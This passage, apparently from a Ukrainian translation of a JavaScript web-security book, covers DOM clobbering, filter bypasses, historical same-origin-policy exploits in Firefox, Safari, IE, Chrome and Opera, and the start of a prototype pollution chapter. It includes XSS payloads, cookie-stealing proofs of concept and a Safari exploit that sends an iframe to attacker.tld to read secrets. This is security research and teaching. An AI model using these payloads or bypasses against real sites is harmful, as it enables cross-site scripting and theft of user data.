Щоб завершити цей розділ, я розгляну об'єкт Error і як можна використовувати prepareStackTrace, щоб отримати доступ до об'єкта window у Chrome. Використовуючи зворотний виклик prepareStackTrace, ви можете налаштувати трасування стека, що дуже зручно для розробників. Ідея полягає в тому, що ви надаєте функцію, яка має два аргументи: один для повідомлення про помилку, а інший для масиву об'єктів CallSite. Об'єкт CallSite складається з властивостей і методів, пов'язаних з трасуванням стека. Наприклад, у вас є прапорець isEval, щоб визначити, чи викликається поточний CallSite в межах функції eval, але нас дійсно цікавить, як отримати об'єкт window. На щастя, Chrome забезпечує нас корисним методом getThis() на об'єкті CallSite, і це поверне об'єкт window, якщо немає "this", визначеного виконуваним кодом. Давайте подивимося це в дії:

Рисунок 78. Отримання об'єкта window з об'єкта callsite

```
Error.prepareStackTrace=function(error, callSites){
  callSites.shift().getThis().alert(1337);
};
new Error().stack
```

Ми визначаємо наш метод зворотного виклику, функція просто отримує перший об'єкт CallSite з масиву CallSite, викликає функцію getThis(), яка повертає об'єкт window, який ми потім використовуємо для доступу та виклику функції alert(). Зворотний виклик prepareStackTrace виконується лише тоді, коли отримується доступ до властивості stack об'єкта Error.

4.2: Область видимості події HTML

Коли подія JavaScript виконується на елементі HTML, браузер визначає область видимості виконуваної функції з елементом і об'єктом document. Це означає, що ви можете використовувати скорочення, просто вказуючи властивості поточного об'єкта або об'єкта document без усього шляху до властивості. По суті, браузер робить наступне:

Рисунок 79. Показує область видимості події

```
with(document) {
   with(element) {
    //executed event
    }
}
```

Пам'ятаєте властивість документа defaultView? Ми можемо фактично використовувати її в межах події самостійно. Таким чином, ви можете отримати доступ до об'єкта window лише за допомогою цієї властивості:

Рисунок 80. Використання defaultView в межах події

```
<img/src/onerror=defaultView.alert(1337)>
```

Це працює через оператор with, наведений вище. Браузер виконує подію і шукає властивість defaultView у елементі зображення, не знаходить її там, тому перевіряє об'єкт document і знаходить її там, таким чином доступується і повертається властивість document.defaultView. Якщо перерахувати об'єкт document, ви можете побачити, які властивості доступні вам. Ви можете зробити це, використовуючи користувацький перераховувач або просто використати console.dir(document) у браузерній консолі.

Через обмеження події ви також можете використовувати інші функції DOM, тут ми можемо створити скрипт, додати до нього код і додати його до документа без вказування повного шляху документа:

Рисунок 81. Використання функцій DOM в межах події

```
<img/src/onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>
```

Зверніть увагу, що в цьому випадку використовується appendChild(), тому що append видасть виняток, якщо ви не вкажете повний шлях, принаймні в Chrome. Функція append() приймає рядок або вузол. Функція appendChild() фактично буде виконана на об'єкті зображення, документ має метод appendChild(), але зображення має пріоритет, тому скрипт буде додано до об'єкта зображення, а не до документа.

4.3: DOM-забруднення

DOM-забруднення — це техніка, яка використовує шаблон коду, що перевіряє наявність глобальної змінної та виконує інший шлях коду, якщо вона не існує. Ідея полягає в тому, щоб забруднити цю глобальну змінну, яка не існує, елементом DOM, найчастіше це анкерний елемент. Уявіть, що у вас є такий код:

Рисунок 82. Зразок JavaScript, вразливий до DOM-забруднення

```
let url = window.currentUrl || 'http:///example.com';
```

Цей приклад коду на перший погляд виглядає нешкідливим, але насправді window.currentUrl можна контролювати не тільки через глобальну змінну, але й через елемент DOM. У перші дні веб-дизайну було досить поширено використовувати атрибути id елементів форми для посилання на елемент завдяки функції в Internet Explorer та Netscape, яка дозволяла атрибуту id або name елемента форми ставати глобальною змінною як ярлик для розробників. Ця функція дозволяє затирання DOM. Ви, мабуть, бачили код, який виглядає так:

Рисунок 83. Показано, що елементи форми знаходяться в глобальній області видимості

```
<form id=searchForm>
</form>
<script>
searchForm.submit()
</script>
```

Браузер створює глобальну змінну під назвою “searchForm” і дозволяє використовувати її для посилання на форму без використання методу getElementById(). Крім того, ви можете використовувати атрибут “name” для досягнення того ж результату з однією важливою різницею: при використанні атрибуту “name” ви також визначаєте властивість об’єкта document:

Рисунок 84. Показує, як name та id створюють глобальні посилання

```
<form id=x></form><form name=y></form>
<script>
alert(x)//[object HTMLFormElement]
alert(typeof document.x)
alert(y)//[object HTMLFormElement]
alert(document.y)//[object HTMLFormElement]
</script>
```

Дві форми вище створюють глобальні змінні, як ви можете бачити, глобальні змінні “x” і “y” було перезаписано елементами форми. Другий рядок коду JavaScript перевіряє, чи є властивість “x” у документа, але вона невизначена, оскільки перезаписані елементи не додають властивостей до документа. Останній рядок показує, що document.y було перезаписано елементом форми. Тільки певні елементи можуть використовувати атрибут name для перезапису глобальних змінних, а саме: embed, form, iframe, image, img і object.

Елементи якоря роблять перезапис DOM ще цікавішим, оскільки вони дозволяють використовувати атрибут “href” для зміни значення перезаписаного об’єкта. Зазвичай, коли ви використовуєте елемент форми для перезапису змінної, ви отримаєте значення toString самого елемента, наприклад, [object HTMLFormElement], але з елементом якоря значення toString буде “href” якоря:

Рисунок 85. Як ви можете перезаписувати значення за допомогою якорів

```
<a href="clobbered:1337" id=x></a>
<script>
alert(x);//clobbered:1337
alert(typeof x);//object
</script>
```

Як ви можете побачити, глобальна змінна “x” містить рядок “clobbered:1337”, коли до неї звертаються як до рядка. Зверніть увагу, що я сказав “коли до неї звертаються як до рядка”, “x” все ще є якірним об’єктом, просто toString якірного об’єкта повертає “href” елемента. Інше, про що слід знати при спробі захоплення DOM, це те, що ви можете отримати значення лише відомих атрибутів HTML. Наприклад, ви не можете використовувати “x.notAnAttribute”, тоді як “x.title” працює добре. Багато років тому я поставив собі за мету порушити це правило, і виявилося, що можна обійти це за допомогою колекцій. Колекції DOM - це об’єкти, схожі на масиви, які містять HTML-елементи. Я виявив, що можна використовувати кілька елементів з однаковим id або ім’ям, і це утворить колекцію. Потім ви могли б використовувати інший id або ім’я (залежно від того, що ви спочатку використовували), щоб захопити другу властивість. Це, мабуть, найкраще ілюструється на прикладі:

Рисунок 86. Використання колекцій DOM для захоплення кількох властивостей

```
<a id=x>
<a id=x name=y href=clobbered:1337>
<script>
alert(x.y)//clobbered:1337
</script>
```

У наведеному вище прикладі два якорі мають атрибут id з однаковим значенням “x”, що утворює DOM колекцію, тоді другий якір має атрибут name, і оскільки це DOM колекція, ви можете звертатися до елементів у колекції за іменем або індексом, у цьому випадку ми звертаємося до другого якоря за іменем “y”. Також цілком можливо використовувати індекс:

Рисунок 87. How to use DOM collections to clobber indexes

```
<a id=x>
<a id=x name=y href=clobbered:1337>
<script>
alert(x[1])//clobbered:1337
</script>
```

Наведений вище код отримує колекцію DOM з “x” і отримує другий елемент у колекції (колекції індексуються з нуля), що дозволяє нам змінювати значення x[1], яке ми можемо контролювати.

Для елементів якоря можливо змінювати властивості лише на два рівні вглиб. Додавання третього якоря створить колекцію, але ви можете посилатися на третій якір лише за індексом:

Рисунок 88. Як використовувати колекції DOM для зміни індексів

```
<a id=x>
<a id=x name=y href=clobbered:1>
<a id=x name=y href=clobbered:2>

<script>
alert(x[2])//clobbered:2
</script>
```

Код вище створює колекцію з трьома якорями, і третій якір індексується за допомогою 2, оскільки пам'ятайте, що колекції індексуються з нуля. Якщо я зміню третій якір, додавши атрибут імені "z", це не спрацює, оскільки атрибут імені не створює колекцію. Якщо вам потрібно вкласти на три рівні вглиб, ви повинні використовувати інший елемент, такий як форма.

Рисунок 89. Вкладення на три рівні

```
<form id=x name=y><input id=z></form>
<form id=x></form>
<script>
alert(x.y.z)
</script>
```

Однак, є проблема: Як згадувалося раніше, ви не можете контролювати toString елементів, крім якорів, тому в цьому випадку "z" буде дорівнювати "[object HTMLInputElement]". Щоб перезаписувати властивості на більше ніж трьох рівнях глибини, ви повинні використовувати дійсні атрибути HTML, які також є дійсними властивостями DOM:

Рисунок 90. Перезаписування на чотирьох рівнях

```
<form id=x name=y><input id=z value=1337></form>
<form id=x></form>
<script>
alert(x.y.z.value)//1337
</script>
```

Є один виняток з цього правила, що використовує iframes. З iframes ви можете використовувати атрибути srcdoc і name. Що відбувається тут, це те, що вікно iframe має змінене значення, що означає, що ви можете з'єднувати разом iframes та інші елементи, щоб збивати стільки рівнів глибоко, скільки вам потрібно. Єдиний недолік полягає в тому, що iframe, ймовірно, заблокований HTML-фільтром.

Це найкраще ілюструється на прикладі. Спочатку ми створюємо iframe та використовуємо атрибут srcdoc, щоб створити елемент всередині iframe:

Рисунок 91. Збивання за допомогою iframes

```
<iframe name=foo srcdoc="<a id=bar href=clobbered:1337></a>"></iframe>
<script>
alert(foo)//[object Window]
alert(foo.bar)//undefined
</script>
```

Наведений вище приклад показує, що “foo” було перезаписано, але воно було перезаписано об’єктом window iframe і через те, що це той самий origin, це дозволяє нам виконати подальше перезаписування за допомогою внутрішньої частини iframe. Але чому “foo.bar” неопределений? Це тому, що srcdoc iframe потребує часу для рендерингу, і немає достатньо часу для рендерингу вмісту фрейму і перезаписування властивості з елементом anchor. На щастя, я знайшов обхідний шлях: якщо ви введете крос-оригінальний стиль імпорту, це створює достатню затримку для рендерингу елемента всередині iframe:

Рисунок 92. Використання імпорту стилів для затримки читання властивостей

```
<iframe name=foo srcdoc="<a id=bar href=clobbered:1337></a>"></iframe>
<style>
@import 'https://garethheyes.co.uk';
</style>
<script>
alert(foo)//[object Window]
alert(foo.bar)//clobbered:1337
</script>
```

Використовуючи цю техніку, ви можете замінити стільки властивостей, скільки захочете, за умови, що у вас є достатньо часу для їх візуалізації. Є проблема, проте, щоб вказати атрибути вкладеного iframe, ви маєте обмеження на використання одинарних та подвійних лапок, і якщо вже була використана певна лапка, ви не можете використовувати її знову. Рішенням є використання HTML кодування, ви можете кодувати вміст “srcdoc” стільки разів, скільки потрібно. Так, ви правильно почули, ви можете використовувати HTML сутності всередині “srcdoc” для відображення HTML!

Спробуємо замінити п’ять властивостей. Спочатку вам потрібен iframe з атрибутом name з першою назвою властивості та подвійними лапками для “srcdoc”. Потім інший iframe для другої властивості з атрибутом “srcdoc” в одинарних лапках, щоб створити ще один вкладений iframe, який створює третю властивість. Після цього ми створюємо “srcdoc” без лапок для створення наших замінених якорів. Оскільки ми використовуємо вкладені “srcdoc”, ми маємо HTML кодувати стільки разів, скільки вкладений iframe. Нам знову потрібен блок стилів, щоб дати iframe час для рендерингу, і після всього цього ми можемо замінити a.b.c.d.e!

Рисунок 93. Як використовувати srcdoc для заміни на більшу глибину

```
<iframe name=a srcdoc="
<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\
clobbered:1337&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>">></ifram
e>
<style>@import '//garethheyes.co.uk';</style>
<script>
alert(a.b.c.d.e)//clobbered:1337
</script>
```

4.3.1: Використання збивання DOM

Існують інші способи використання збивання DOM, контроль значення - це лише один із способів експлуатації. Ви можете збити властивість атрибутів DOM-вузла, щоб обдурити фільтр і не видалити жодного атрибуту. Розглянемо наступний приклад, який показує елемент форми з трьома атрибутами, скрипт проходить через атрибути з останнього до першого і перевіряє, чи починається він з “on”, якщо так, то видаляє атрибут:

Рисунок 94. Як використовувати збивання DOM для обходу фільтрів

```
<form id=x onclick=alert(1) onmouseover=alert(2)>
<input>
</form>
<script>
for(let i=document.getElementById('x').attributes.length-1;i>=0;i--) {
    let attribute = document.getElementById('x').attributes[i];
    if(!/^on/i.test(attribute.name)){
        continue;
    }
    document.getElementById('x').removeAttribute(attribute.name);
}
</script>
```

Скрипт видаляє атрибути, перебираючи всі атрибути за допомогою властивості attributes, на жаль, ця властивість може бути перезаписана шляхом надання дочірньому вузлу імені “attributes”. Що відбувається тоді, це те, що скрипт використовує перезаписане введення як властивість attributes, і довжина цього елемента є невизначеною, тому цикл не буде нічого ітерувати. Це дозволяє зловмиснику підставити свої шкідливі події та зламати фільтрацію.

Ви не обмежені атрибутами, інші властивості DOM, такі як tagName/nodeName, можуть бути перезаписані, уявіть, що у вас є фільтр блокування, який видаляє певні теги, такі як form. Ви можете вставити форму з елементом input, що має атрибут name зі значенням tagName або nodeName. Коли фільтр звертається до tagName або nodeName, він замість цього звернеться до перезаписаного введення і, відповідно, поверне неправильне значення:

Рисунок 95. Перезапис nodeName

```
<form id=x>
<input name=nodeName>
</form>
<script>
alert(document.getElementById('x').nodeName)//[object HTMLInputElement]
</script>
```

Навіть властивості, такі як parentNode, не є безпечними. Ви можете змінити їх, як і інші, що призведе до неправильного parentNode для елемента форми. Якщо у вас є фільтр на основі DOM, який проходить через елементи, використовуючи властивості DOM, такі як parentNode, nextSibling, previousSibling тощо, ваш фільтр проходитиме через неправильні елементи та фільтруватиме неправильні вузли DOM.

4.3.2: Зміна результатів document.getElementById()

Це техніка, яку я нещодавно знайшов, де ви фактично можете змінити результати виклику document.getElementById(). Якщо у вас є елемент з id “x” і інший елемент з тим самим id, у більшості випадків перший елемент повертається getElementById(). Однак я виявив, що якщо ви використовуєте елемент <html> або <body>, ви можете змінити порядок DOM, і ці елементи об’єднають атрибути дублікатів тегів, що спричиняє повернення getElementById() тегу <html> або <body>, залежно від того, який з них ви використовуєте:

Рисунок 96. Використання тегу body для зміни результатів виклику getElementById()

```
<div id="x"></div>
<body id="x">
<script>
alert(document.getElementById('x'))
</script>
```

Це можна використати, коли сайт захищений CSP, а у вас є HTML-ін’єкція, яка відбувається після всіх елементів, які ви бажаєте експлуатувати. Використовуючи цю техніку, ви можете зруйнувати існуючі вузли та змінити результати getElementById(), щоб використовувати свій елемент і, можливо, отримати XSS залежно від того, що робить сайт. Я знайшов цю техніку під час тестування відомого великого сайту, і вони використовували елемент div, який був невидимий на початку дерева DOM біля тега body, і вони використовували це для керування доменом CDN, який пізніше використовувався у скрипті service worker, який потім використовував виклик importScript() всередині service worker.

4.3.3: Зміщення document.querySelector()

Ту ж техніку можна використовувати для зміщення результатів document.querySelector(), якщо сайт використовує його для пошуку першого елемента з певним ім’ям класу, тоді DOM буде переставлено, і вставлений елемент <html> або <body> буде повернутий замість цього:

Рисунок 97. Використання тега body для зміщення результатів виклику querySelector()

```
<div class="x"></div>
<body class="x">
<script>
alert(document.querySelector('.x'))
</script>
```

4.4: Підсумок

Ми розглянули всілякі цікаві речі в цьому розділі. Спочатку ми знайшли різні способи отримання об'єкта window з вузла DOM. Потім ми розглянули область видимості подій DOM і як кожна подія має доступ не тільки до області елемента, але й до області документа. Ми закінчили розділ секцією про замінювання DOM, пояснили різні можливі атаки і дізналися, як важко написати фільтр, який безпечно обходить DOM.

5: Глава п’ята - Експлойти браузера

5.1: Вступ

Чи можна написати книгу про хакінг на JavaScript без розділу про експлойти браузера? У цій главі я розгляну різні експлойти браузера, які я знайшов за ці роки. Я зламую браузери (здебільшого у вільний час) понад 15 років. За цей час мені вдалося знайти обхід політики одного походження (SOP) або витік інформації в кожному великому браузерному рушії.

Хакінг браузера - це дуже нішевий напрямок досліджень, але він дуже веселий і ви дізнаєтесь безліч корисних речей, які можете використовувати в інших сферах. Цей розділ не буде у хронологічному порядку, коли я знаходив баги, натомість я почну з простих багів і перейду до складніших обходів SOP.

5.2: Неправильна обробка URL-адрес з перехресним походженням у Firefox

Цей баг був дуже простим, і мене здивувало, що автоматизовані тести Mozilla його не виявили. Я знайшов цей баг, коли тестував вікна з перехресним походженням. Я створював нові вікна і перевіряв об’єкти з перехресним походженням, дивлячись на консоль браузера або інспектор Hackvertor. Ідея полягала в тому, щоб отримати посилання на нове вікно після виклику “window.open” і перевіряти цей об’єкт, щоб побачити, чи витікає якась інформація, яка не повинна.

Коли ви викликаєте window.open, його повернене значення - це новий об’єкт вікна, який відрізняється від звичайного об’єкта вікна, до якого ви звикли. Багато властивостей недоступні і викликають винятки, коли ви намагаєтесь їх прочитати. Причини цього зрозумілі: якщо ви відкрили вікно на інше походження і об’єкт вікна дозволяв вам читати всі властивості, тоді ви могли б красти дані з будь-якого веб-сайту, що могло б призвести до компрометації всіх ваших облікових записів.

Експлойт був непристойно простим: ви відкривали нове вікно, чекали п’ять секунд і намагалися прочитати об’єкт location. Зазвичай виняток був би викликаний, але у Firefox вам дозволялося його читати. Коли я вперше знайшов баг, я думав, що проблема була в одному з методів RegExp, але виявилося, що ви могли просто прочитати метод toString() об’єкта location:

Рисунок 98. Експлойт Firefox, який читає об’єкт location з перехресним походженням

```
<script>
function poc() {
    var win = window.open('https://twitter.com/lists/', 'newWin', 'width=200,height=\
200');
  setTimeout(function(){
    alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
  }, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">
```

Показана вище концепція відкрила нове вікно на twitter.com/lists, що спричинило переадресацію на персоналізовану URL-адресу. Другий чекав 5 секунд, потім намагався прочитати об’єкт розташування і використовував регулярний вираз, щоб отримати ім’я користувача Twitter. Потім він показував спливаюче вікно та ідентифікував вас.

Оригінальна стаття[1]

5.3: Призначення Safari для імен хостів з перехресним походженням

Колись зламати браузери було набагато легше. Ця помилка Safari демонструє це. Вона включає встановлення імені хоста об’єкта розташування з перехресним походженням. Проблема полягає в тому, що Safari зберігав рядок запиту та хеш, що дуже погано для безпеки, оскільки вони можуть містити конфіденційну інформацію. Якщо б ця помилка була знайдена сьогодні, то найбільш ймовірною ціллю були б OAuth токени. Щоб використати цю помилку, потрібно було використати нове вікно або iframe, дочекатися його завантаження, а потім встановити ім’я хоста, і тоді домен атакуючого міг би прочитати параметри запиту або хеш.

[1] http://www.thespanner.co.uk/2012/10/10/firefox-knows-what-your-friends-did-last-summer/

Рисунок 99. Safari дозволяв змінювати ім’я хоста об’єкта розташування з перехресним походженням

```
<script>
function poc(iframe) {
   var win = iframe.contentWindow;
   setTimeout(function(){
    win.location.hostname='attacker.tld'
   } , 5000);
}
</script>
<iframe src="https://oauth.example.com" onload=poc(this)></iframe>
```

Наведений вище приклад коду завантажує iframe, який потім виконує певну автентифікацію та зберігає деякі конфіденційні дані у рядку запиту. Коли сторінка завантажується після перенаправлення на цільовий сайт, викликається функція poc(), яка отримує посилання на iframe, а потім на вікно контенту, що посилається на вікно iframe з перехресним походженням. Через п’ять секунд зловмисник змінює ім’я хоста iframe, щоб вказати на домен зловмисника. Потім зловмисник просто зчитує location.search на своєму домені, щоб викрасти секрети.

Рисунок 100. Зчитування властивості location.search

```
<script>
var contents = location.search//contains the query string secrets
</script>
```

Ви більше не можете робити це в сучасних браузерах; вони розумно запобігають доступу для читання/запису до властивостей host і hostname.

5.4: Повний обхід SOP в Internet Explorer

Я знайшов цю помилку, працюючи за контрактом для Microsoft, тестуючи різні функції IE. Мені подобається ця помилка, тому що вона така проста, але її вплив великий. Використовуючи цю помилку, ви могли виконувати довільний JavaScript на будь-якому домені. Це знову ж таки включає вікна та iframe, жах-страх. Відчуваєте тему? Справа в тому, що IE пропускав міждоменний конструктор. Це означає, що конструктор Function дозволялося викликати з іншого домену.

Хороше питання тут - як це дізнатися? Дуже важко бути впевненим, що ви впроваджуєте в інший контекст, бо браузер не надає для цього API, тому найкраще, що ви можете зробити, - це спробувати отримати доступ до властивості об’єкта, яка вкаже, що код виконується з іншого домену. Одна з таких властивостей - document.domain.

Рисунок 101. Використання конструктора для доступу до конструктора Function

```
foo.constructor.constructor('alert(document.domain)')();
```

Використовуючи наведений вище код, якщо з’являється сповіщення і вказує на інший домен, це є добрим знаком того, що ви знайшли обхід SOP. Однак, це не є безпомилковим, як ви дізнаєтеся пізніше в розділі. Я знайшов цей баг, граючи з іфреймами та інспектором Hackvertor. Я просто завантажив іфрейм і почав тестувати кожну властивість. Відтоді я написав кращий інспектор, який полегшує демонстрацію, тому ми будемо використовувати його. Ось кроки для тестування:

1. Відвідайте Hackability[2]
2. Спостерігайте, що є деякі властивості, які можна перерахувати
3. Натисніть кожну з властивостей для подальшого переходу
4. Спробуйте отримати доступ та викликати конструктор кожної властивості, використовуючи метод, обговорений раніше.

Використовуючи цей метод, я виявив, що IE витікав конструктор з іншого походження на закритій властивості. Оскільки це значення було булевим, мені довелося двічі використовувати конструктор, спочатку для отримання булевого конструктора і вдруге для отримання конструктора Function для виконання довільного коду. Виконаний код мав повний доступ до об’єкта вікна з іншого походження, що означало, що ви могли читати кукі та будь-яку іншу властивість DOM. Повний експлойт виглядав так:

Рисунок 102. Використання конструктора для отримання доступу до конструктора Function

```
<iframe src="https://garethheyes.co.uk"
onload="this.contentWindow.closed.constructor.constructor('alert(document.cookie')()\
">
</iframe>
```

Ця експлойт не обмежувалася фреймами, ви могли використовувати нові вікна для проведення цієї атаки.

5.5: Частковий витік інформації SOP у Chrome

Я знайшов це відносно недавно. На той момент я вже зламав всі основні браузерні движки, тому було приємно знайти щось, що працювало в Chrome. Ця помилка була прихована близько п’яти років, перш ніж я її знайшов. Помилка пов’язана з тим, як Chrome обробляє document.baseURI при використанні вкладених вбудованих рамок з різних піддоменів.

[2] https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E

При доступі до цієї властивості з вкладеної вбудованої рамки baseURI повідомляється від батьківського, що зазвичай не є великою проблемою, оскільки об’єкт документу недоступний з вікон з перехресним походженням, тому ця помилка була так довго прихована. Однак, можливо було отримати цю властивість, що призводило до розкриття повного URL вбудованої рамки з перехресним походженням.

Цього разу я використовував інспектор Hackability, щоб знайти цю помилку. Я експериментував з векторами імен вікон. У разі, якщо ви не знаєте, ви можете встановити ім’я вікна і отримати його з іншого домену після навігації. Браузери намагаються заблокувати це, щоб запобігти розкриттю інформації, але застосовані заходи не стосуються вбудованих рамок.

Я завантажив інспектор Hackability і додав вбудовану рамку до DOM і вказав її на інший піддомен, який також завантажив інспектор Hackability. Потім я міг використовувати обидві консолі, щоб перевірити, чи правильно захищені вікна з перехресним походженням. У вбудованій рамці з перехресним походженням я додав ще одну вбудовану рамку всередині неї. Потім я спробував прочитати/призначити властивість ім’я для цих вбудованих рамок з перехресним походженням. Браузер просто кинув виключення, що було очевидно погано, я згадав, що ви можете призначити інший URL для вбудованої рамки з перехресним походженням і власність рамки змінюється на походження, що викликало призначення.

Я змінив URL вкладеної вбудованої рамки на about:blank і, на моє здивування, я міг читати/писати ім’я вікна. Це саме по собі не є вразливістю, але це компонент, який може бути використаний для можливої більш серйозної помилки. Добре звертати увагу на такі речі.

Потім я почав перераховувати об’єкт вікна вкладеної вбудованої рамки з перехресним походженням. Нічого корисного в об’єкті вікна не було, але я згадав, що об’єкт документу містить інформацію про URL, тому я почав перераховувати його. На моє здивування, властивість document.baseURI показувала неправильний URL, замість повернення URL about:blank, вона повертала URL батька. Це витік інформації SOP, оскільки різні походження не повинні мати можливість читати такі властивості. Спочатку я думав, що помилка дозволяє читати будь-який домен, але це було не так. Ви могли читати дані тільки з різних піддоменів. Це все ще серйозна помилка, оскільки, наприклад, у вас може бути піддомен вкладень у клієнті електронної пошти, і ви хочете запобігти його читанню іншого піддомену.

Властивість baseURI фактично повертає повний URL, тому ви могли б прочитати рядок запиту і хеш іншого піддомену. Початковий код сторінки був:

Рисунок 103. BaseURI витікав URL батька

```
index.html:
<script>
onload = function(){
    x.contentWindow[0].location = 'about:blank';setTimeout(()=>alert(x.contentWindow\
[0].document.baseURI), 500)
};
</script>

<iframe id=x src="//subdomain1.portswigger-labs.net/chrome-infoleak-sWpsDfkg9102/tar\
get.html"></iframe>
```

Це сторінка у фреймі, і зверніть увагу, що хеш було змінено, і це було прочитано верхнім фреймом з іншого джерела:

Рисунок 104. Змінив URL, щоб показати модифікації, де відбувається витік

```
target.html:
<script>location.hash=1337</script>
<iframe src="/foo"></iframe>
```

Original write up[3]

5.6: Повний обхід політики SOP у Safari

У цьому випадку я повідомив Apple про помилку, яку вони відхилили як незначну проблему, що не може бути використана. Тож я дочекався виходу наступної версії Safari, залишався без сну 23 години, намагаючись експлуатувати цю вразливість. Я не рекомендую вам так робити, оскільки це шкідливо для здоров’я, але тоді я хотів довести Apple, що вони помиляються, і в мене це вийшло, що було надзвичайно задовільним.

Ця помилка знову використовує iframes (помічаєте закономірність?) з URL about:blank. Коли iframe завантажується, я отримую посилання на об’єкт document цього iframe, який потім використовую, щоб записати інший iframe у документ. Новододаний iframe вказує на інший домен, я обрав Amazon для демонстрації цієї проблеми. Варто зазначити, що це було до того, як було винайдено Clickjacking, і ви могли буквально вставити будь-який вебсайт у фрейм. Потім, після завантаження найглибшого фрейму, я отримую посилання на нього з зовнішнього фрейму до внутрішнього. Таким чином, я міг отримати cookie та HTML Amazon, повністю обходячи SOP. Ось повна експлуатація:

[3] https://portswigger.net/research/using-hackability-to-uncover-a-chrome-infoleak

Рисунок 105. Використання вкладених iframes для обходу SOP

```
<script>
function breakSandbox() {
    var doc = window.frames.loader.document;
    var html = '';
    html += '<p>test</p><iframe src="http://www.amazon.co.uk/" id="iframe" name="ifr\
ame" onload="alert(window.frames.iframe.document.getElementsByTagName(\'body\')[0].i
nnerHTML);alert(window.frames.iframe.document.cookie);"></iframe>';
    doc.body.innerHTML = html;
}
</script>
<iframe src="about:blank" name="loader" id="loader" onload="breakSandbox()"></iframe>
```

Озираючись на цей код через кілька років, його, ймовірно, можна було б значно скоротити, і contentWindow можна було б використати для отримання вікна з іншого походження. Однак це повне обходження SOP, і ви навіть могли читати з файлової системи за допомогою цієї техніки, що є досить руйнівною помилкою, якою я дуже пишаюся.

Оригінальний опис[4]

5.7: Обхід SOP в Opera

Це моя улюблена помилка браузера, яку я коли-небудь знаходив. Я люблю цю помилку, тому що вона показує, як можна обійти SOP несподіваним способом. Пам’ятаєте, коли я сказав, що ви можете використовувати document.domain раніше в розділі, щоб визначити, чи є у вас вікно з іншого походження? Ну, коли я знайшов цю помилку, це не працювало, я отримав виняток браузера, який заважав доступу до об’єкта. Але на цьому не зупинилось. Я знайшов спосіб виконати довільний JavaScript на іншому домені незалежно від цього.

Я почав тестувати Opera. Ця версія була Presto до форку Blink. Я використовував свій енумератор Astalanumerator, це було до того, як був випущений Hackability inspector, я рекомендую використовувати Hackability inspector, якщо ви хочете провести власне тестування. Використовуючи енумератор, я створив iframe та вказав на зовнішнє розташування, потім я перерахував усі властивості, нічого не виділялось на contentWindow, тому я перейшов до об’єкта розташування з іншого походження. Відразу це привернуло мою увагу, оскільки Opera, здавалося, відкрила набагато більше властивостей, ніж інші браузери. Якщо ви самі таке знайдете, це хороший індикатор того, що тут є помилки.

Я зробив свій звичайний трюк, використовуючи constructor.constructor(‘alert(document.domain)’)(), що, на мій подив, завершилося винятком JavaScript. Це незвично, тому що зазвичай, коли у вас є конструктор, він все одно виконується, але в поточному контексті походження,

[4] http://www.thespanner.co.uk/2007/09/05/how-i-found-the-safari-exploit/

для цього, щоб кинути виняток, це дало мені хороший індикатор того, що Opera дозволяє конструктор з іншого походження.

Думаючи про виняток деякий час, я подумав, що станеться, якщо я використаю вираз з деякими числовими літералами. Якщо це не викличе виняток, це доведе, що попередній код блокується через виклик alert або доступ до документа. Звичайно, при введенні constructor.constructor(‘return 1+1’)() я отримав 2! У цей момент я досить захвилювався, тому що у мене вже була помилка, але як я міг виконати довільний код в іншому домені? Знову я розмірковував над цим деякий час, якщо літерали дозволені, можливо, вони просто заважають доступу до глобальних об’єктів? Потім я перевизначив метод на прототипі масиву. Важливо, що я просто визначив функцію, не намагаючись її викликати. Я використав консоль браузера, щоб викликати [].join на іншому домені, і тоді це сталося — я отримав чудовий alert зі вмістом зовнішнього домену. Я уявляю, що саме так відчуває себе забиття голу на чемпіонаті світу. Я був так щасливий, що SOP в Opera був повністю обійдений. Остаточний доказ концепції виглядав так:

Рисунок 106. Використання вкладених iframe для обходу SOP

```
1 iframe.contentWindow.location.constructor.prototype
2 .__defineGetter__.constructor('[].constructor.
3 prototype.join=function(){alert("PWND:"+document.body.innerHTML)}')();
```

Opera мала витік конструктора у кількох місцях, експлойт вище використовує об’єкт розташування перехресного походження для отримання властивості __defineGetter__ і, оскільки це вже функція, вам не потрібно використовувати кілька конструкторів. Ви, мабуть, могли б скоротити код вектору вище, використовуючи __proto__ замість constructor.prototype, але я просто пішов із першим успішним варіантом.

Оригінальна стаття[5]

Відео, що демонструє цю проблему[6]

5.8: Підсумок

Сподіваюся, вам сподобався цей розділ, мені дуже сподобалося його писати. Мені подобається знаходити недоліки в SOP, тому що це справжній технічний виклик, і ви отримуєте справжнє задоволення, коли знаходите один. Сподіваюся, цей розділ надихне вас знайти власні недоліки в сучасних браузерах. Ми розглянули недоліки Firefox у обробці об’єкта розташування перехресного походження, який було легко експлуатувати. Потім ми говорили про Safari і про те, чому це погана ідея дозволяти призначення властивостей host або hostname на об’єкті розташування перехресного походження. Далі був IE і елегантний повний обхід SOP, що дозволяв виконувати довільний JavaScript на будь-якому домені.

[5] http://www.thespanner.co.uk/2012/11/08/opera-x-domain-with-video-tutorial/
[6] http://www.youtube.com/watch?v=-lsjR6R2874&feature=plcp&hd=1

Наступним був витік інформації в Chrome, де я показав, як можна читати різні URL піддоменів за допомогою вкладених iframe. Потім я показав експлойт у Safari, який дозволяє читати куки та HTML будь-якого домену. Нарешті, я завершив своїм улюбленим багом, де я експлуатував методи прототипів для виконання довільного JavaScript щоразу, коли сайт використовує один із вбудованих прототипів.

6: Глава шоста - Забруднення прототипу

6.1: Вступ

Prototype pollution - це вразливість, яка виникає, коли ви виконуєте вразливе рекурсивне злиття, і один або більше об'єктів є контрольованими. Під час рекурсивного злиття код часто використовує ключі властивостей небезпечним чином, що може призвести до ненавмисних призначень властивостей. Наприклад, у JavaScript є магічна властивість під назвою __proto__, яка насправді є геттером/сеттером, що дозволяє отримати та встановити прототип об'єкта. Якщо ваш контрольований об'єкт може використовувати цю властивість, функція рекурсивного злиття насправді маніпулюватиме одним із глобальних прототипів, найчастіше Object.prototype. Це дозволяє вам керувати несподіваними властивостями, які розробник вважає безпечними, і тому може призвести до DOM XSS на клієнті або навіть RCE на рівні сервера.

